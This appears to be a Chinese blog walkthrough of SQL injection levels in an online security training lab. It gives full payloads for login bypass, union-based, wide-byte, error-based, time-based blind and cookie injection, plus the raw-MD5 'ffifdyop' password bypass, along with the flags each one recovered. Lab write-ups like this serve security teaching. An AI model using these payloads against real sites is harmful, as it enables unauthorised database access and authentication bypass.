网络安全实验室4.注入关
创始人
2024-05-23 20:15:50
0

4.注入关

1.最简单的SQL注入

url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

查看源代码,登录名为admin

在这里插入图片描述

最简单的SQL注入,登录名写入一个常规的注入语句:

admin’ or ‘1’='1

密码随便填,验证码填正确的,点击登录

得到我的座右铭(flag)是iamflagsafsfskdf11223

在这里插入图片描述

2.最简单的SQL注入(熟悉注入环境)

url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

查看源代码,访问url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

在这里插入图片描述

构造页面并访问?id=1 and 1=1 返回正常?id=1 and 1=2返回出错,说明存在SQL注入

在这里插入图片描述

判断字段数 ?id=1 order by 3页面返回正常,说明有三个字段

在这里插入图片描述

判断回显点 ?id=-1 union select 1,2,3 我们可以在如图所示位置进行查询

在这里插入图片描述

查询数据库名为mydbs ?id=-1 union select 1,2,database()

在这里插入图片描述

查询数据表为sae_user_sqli3

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述

查询字段名为id,title,content

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3

在这里插入图片描述

查询字段内容 ?id=-1 union select 1,2,content from sae_user_sqli3

得到HKGGflagdfs56757fsdv

在这里插入图片描述

3.防注入

url:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php

本关尝试使用宽字节注入,添加单引号会出现空白页,没有报错,使用?id=1%df’

成功报错,找到注入点

在这里插入图片描述

构造语句?id=1%df%27%20or%201=1%23

页面正常回显,说明or语句执行成功可以注入!

在这里插入图片描述

构造语句?id=1%df%27%20or%201=1%20limit%202,1%23

得到Hsaagdfs56sdf7fsdv

另外一种方法是像上一关一样操作,只是需要构造语句?id=1%df%27 。。。%23

在这里插入图片描述

确定字段长度:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ order by 3 %23

确定显示位:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df’ union select 1,2,3 %23

得到数据库:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

在这里插入图片描述

得到列名:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23

在这里插入图片描述

得到字段:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23

在这里插入图片描述

4.到底能不能回显

url:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

经过测试,只有start参数有作用,num参数并没有作用。

构造payload:

查询数据库名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1

在这里插入图片描述

查询数据表名:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1

在这里插入图片描述

查询列名:(由于分号被过滤了,只能将表名转换成16进制)

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1

在这里插入图片描述

查询flag:myflagishere

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1

在这里插入图片描述

5.邂逅

url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg

真的是第一次见图片后缀前面注入,加宽字节注入,因为无回显,所以用burp注入

burp对图片抓包的设置

在这里插入图片描述

在上图所示的位置

在这里插入图片描述

构造payload:

查询注入点:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df’.jpg

页面报错

在这里插入图片描述

查询列数:4列

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg

在这里插入图片描述

查询显示位:3

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg

在这里插入图片描述

查询数据库:mydbs

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select database()),4 %23.jpg

在这里插入图片描述

查询表名:article,pic

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg

在这里插入图片描述

查询列名:id,picname,data,text

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg

在这里插入图片描述

查询数据(flag):

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg

在这里插入图片描述

将图片后缀改为flagishere_askldjfklasjdfl.jpg ,

访问url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

得到flag is “IamflagIloveyou!”

在这里插入图片描述

6.ErrorBased

url :http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin

本题考查mysql的报错注入

查询数据库名:mydbs

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20–%20q

在这里插入图片描述

查询数据表名:log,motto,user

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database())),1)%20–%20q

在这里插入图片描述

查询motto表的下的列名:id,username,motto

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘motto’)),1)%20–%20q

在这里插入图片描述

查询id字段的值:0,1,2,100000

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(id) from motto)),1)%20–%20q

在这里插入图片描述

查询username字段的值:admin,guest,test,#adf#ad@@#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username) from motto)),1)%20–%20q

在这里插入图片描述

查询motto字段的值:mymotto,happy everyday,nothing

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(motto) from motto)),1)%20–%20q

在这里插入图片描述

对比两次注入的结果,发现username字段比motto字段多一个结果,这说明flag可能就在被隐藏的结果中

再次构造语句,直接查询第四个值,得到notfound! 根据提示flag不带key和#

?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20–%20q

在这里插入图片描述

7.盲注

url:http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php

本题使用延时盲注

判断当前数据库名长度为5,页面没有延时,说明数据库长度为5

%27+and%20sleep(if((length(database())=5),0,3))–%20q

判断库名第一个值为m,页面没有延时,说明数据库第一个值为m

’ and if(substr(database(),1,1)=‘m’,0,sleep(3))-- q

以此类推,数据库名为mydbs

判断表名第一个表的第一个值为l,页面没有延时,说明第一个表的第一个值为l

’ and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘l’,0,sleep(3))-- q

以此类推,数据表名为log,motto,user

判断motto表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i

’ and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘motto’ limit 0,1),1,1)=‘i’,0,sleep(3))-- q

以此类推,数据表motto中的字段值为id,username,motto

判断motto表中第一个内容的第一个值为m,页面没有延时,motto表中第一个内容的第一个值为m

’ and if(substr((select id from motto limit 0,1),1,1)=‘0’,0,sleep(3))-- q

以此类推,得到flag,notfound!

延时注入太慢了,sqlmap跑也比较慢

在这里插入图片描述

8.SQL注入通用防护

url:http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1

本题提示过滤了GET/POST,所以我们猜测是否可以进行cookie注入,使用burp抓包

在cookie处构造字段id=1 and 1=1回显正常,id=1 and 1=2回显错误,说明此处存在数字型SQL注入

在这里插入图片描述

查询字段数目

id=1 order by 3

最后得到字段数目是3。

查询显示位,得到显示位是2,3

id=1 union select 1,2,3

查询数据库名,得到数据库名为mydbs

id=1 union select 1,2,database()

查询表名,得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8

id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

查询sae_manage_sqli8表中的字段,得到了id,username,password这3个字段

id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘sae_manager_sqli8’)

查询flag,IamFlagCookieInject!

id=1 union select 1,2,password from sae_manager_sqli8

在这里插入图片描述

9.据说哈希后的密码是不能产生注入的

url:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/

查看关键源

"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"

对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。

其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。

md5(‘123’) //202cb962ac59075b964b07152d234b70

md5(‘123’,true) // ,�b�Y[�K-#Kp

只要md5(str,true)之后的值是包含了’or’这样的字符串,那么sql语句就会变为select * from users where usrid=“XXX” and password=‘‘or’’。如此就可以绕过了。

提供一个字符:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

可以伪造成

select * from user where userid=‘1’ and pwd = '‘or’6É]™é!r,ùíb’

从而成功绕过,得到Flag: FsdLAG67a6dajsdklsdf

payload:

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

相关内容

热门资讯

篮球赛闭幕式主持词 篮球赛闭幕式主持词范文3篇  篇一:篮球赛闭幕式主持词尊敬的各位领导、各位来宾,裁判员、教练员、运动...
公司晚会主持稿 公司晚会主持稿【三篇】  在现实社会中,各种主持稿频频出现,主持稿大体上可分为会议主持稿、文艺演出晚...
红歌会主持词 红歌会主持词范文  相信我们身边会有喜欢唱红歌的人,下面小编为大家带来了2篇红歌会主持词范文,欢迎大...
圣诞晚会主持词开场白 圣诞晚会主持词开场白(通用12篇)  在社会发展不断提速的今天,我们使用到开场白的机会越来越多,独具...
新春年会主持词 新春年会主持词范文(精选5篇)  主持词的写作要突出活动的主旨并贯穿始终。在当下的社会中,各种集会中...
老年人生日司仪主持词 老年人生日司仪主持词  主持词要把握好吸引观众、导入主题、创设情境等环节以吸引观众。我们眼下的社会,...
庆元旦主持词 精选庆元旦主持词3篇  主持人在台上表演的灵魂就表现在主持词中。在当下的中国社会,各种场合中活跃现场...
农村结婚典礼司仪主持词 农村结婚典礼司仪主持词(通用6篇)  主持词是主持人在台上表演的灵魂之所在。在人们越来越多的参与各种...
升学宴学生家长致辞 升学宴学生家长致辞  在日复一日的学习、工作或生活中,要用到致辞的地方还是很多的,致辞具有能伸能缩,...
家长道德讲堂主持词 家长道德讲堂主持词  道德讲堂就是一个引导人们讲道德,让人长好心的地方。崇德向善是我们中华民族的传统...
沙龙活动主持词 沙龙活动主持词(通用9篇)  主持词是各种演出活动和集会中主持人串联节目的串联词。在人们越来越多的参...
《纨绔》的经典台词 《纨绔》的经典台词  1、庸脂俗粉算得了什么?狐王才是真绝色。傻一时且说天作孽。傻一世便是自作孽了。...
电影王家卫堕落天使经典台词 电影王家卫堕落天使经典台词  李嘉欣和黎明相对无言。  李嘉欣扬着脸,拿烟的手略微颤抖,一枚偌大的闪...
升旗仪式主持词 升旗仪式主持词  主持词是各种演出活动和集会中主持人串联节目的串联词。在当今不断发展的世界,主持词是...
欢乐颂的经典台词有哪些 欢乐颂的经典台词有哪些  《欢乐颂》讲述了同住在欢乐颂小区22楼的五个来自不同家庭、性格迥异的女孩们...
女儿出嫁父母致辞 女儿出嫁父母致辞女儿出嫁父母致辞中国有句老话——“当众教子,背后教妻”。因此,在今天这个场合,请允许...
六一主持词 六一主持词15篇  主持词分为会议主持词、晚会主持词、活动主持词、婚庆主持词等。在当今社会生活中,主...
教育机构开业主持词 教育机构开业主持词  主持词分为会议主持词、晚会主持词、活动主持词、婚庆主持词等。在当今不断发展的世...
琅玡榜经典台词 琅玡榜经典台词  1、人只会被朋友背叛,敌人是永远都没有‘出卖’和‘背叛’的机会的。  2、只要你没...
王家卫经典台词 王家卫经典台词  王家卫相信大家都熟悉,他是香港电影导演、监制及编剧,擅长文艺电影。给我们带来了许多...